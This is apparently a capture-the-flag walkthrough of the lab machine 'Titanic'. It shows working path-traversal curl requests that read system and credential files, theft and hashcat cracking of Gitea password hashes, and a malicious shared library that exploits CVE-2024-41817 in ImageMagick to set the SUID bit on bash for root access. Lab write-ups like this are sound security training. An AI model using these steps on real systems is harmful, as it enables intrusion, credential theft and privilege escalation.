Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap shows a redirect to titanic.htb
therefore I add this to my /etc/hosts
file.
Initial Access
On the web page for titanic.htb
there’s not much to discover besides a button to book a trip. One has to provide a few details and then can submit the form.
Upon submitting the form the browser prompts me to download a JSON file containing the details I’ve just entered. Repeating the same process but this time proxying the request with BurpSuite shows GET to /download?ticket=<UUID>.json
. Replacing the ticket with a path traversal to /etc/passwd
works and I get the file contents back.
Even though I can read file as developer
(based on access to their home directory) there is nothing of value there (yet). The hosts
file lists another subdomain called dev
that I add to my own hosts
file.
$ curl "http://titanic.htb/download?ticket=../../../../../etc/hosts"
127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
There’s a Gitea installation on http://dev.titanic.htb
that allows me to explore repositories and I can see two repos for the user developer
.
Reviewing the code in flask-app
just shows the source code for the application running on the main page, but does not include much new information. It does however contain two tickets with possible usernames, rose.bukater
and jack.dawson
.
The other repository, docker-config
, has some more interesting bits, two docker-compose files. The one for MySQL contains the root password MySQLP@$$w0rd!
but it does not work for any of discovered users.
Within the YML file for the Gitea service I can see that the data folder of the application is mounted as a local folder in the developers home directory and therefore likely accessible through the local file read identified previously.
version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
According to the instructions for the installation with Docker in the Gitea documentation the configuration file is placed into /data/gitea/conf/app.ini
1. Accessing this through the local file read reveals the location of the actual SQLite3 database holding the juicy information and I download that one next.
$ curl "http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/conf/app.ini"
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea
--- SNIP ---
[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
$ curl "http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/gitea.db" -o gitea.db
Besides developer
there’s also another user called administrator
and I get access to both their hashes and the salt used to generate them.
$ sqlite3 gitea.db
sqlite> select name,passwd,salt,passwd_hash_algo from user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|2d149e5fbd1b20cf31db3e3c6a28fc9b|pbkdf2$50000$50
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34|pbkdf2$50000$50
In order to crack the hashes with hashcat the contents of the database has to be converted first. Luckily someone else already created a script to perform those steps.
$ python gitea2hashcat.py '8bf3e3452b78544f8bee9400d6936d34|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
[+] Run the output hashes through hashcat mode 10900 (PBKDF2-HMAC-SHA256)
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
hashcat needs a few seconds with mode 10900 in order to return the clear text password of 25282528
and I can use it to login as developer
via SSH to collect the first flag.
Privilege Escalation
Since the user does not have any privileges for sudo and can only list their own processes, I check the common folders to place additional software and scripts. In /opt/scripts
there’s a bash script called identify_images.sh
owned by root
.
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
The script itself is pretty short and uses magick identify
on all JPG files within /opt/app/static/assets/images
where the developer
user can also write files.
Searching for the (image)magick version 7.1.1-35
finds an exploit tracked as CVE-2024-41817 with two working proof-of-concepts.
$ /usr/bin/magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
I change my current working directory to the images
folder and compile the libxcb.so.1
by using the provided instructions. Instead of running id
I’ll add the SUID bit to the bash binary.
$ cd /opt/app/static/assets/images/
$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("chmod u+s /bin/bash");
exit(0);
}
EOF
Waiting a few minutes until root
comes online and runs the script, I can use the modified bash to get a shell as root
.
Attack Path
flowchart TD subgraph "Initial Access" A(Booking Form) -->|Path Traversal| B(Local File Read as developer) B -->|Read hosts file| C(Discovery of gitea on dev subdomain) C -->|Explore Repositories| D(Find Docker configs) D -->|Retrieve Gitea Database| E(Hash for developer password) E -->|Crack hash| F(Shell as developer) end subgraph "Privilege Escalation" F -->|CVE-2024-41817 in imagemagick| G(Shell as root) end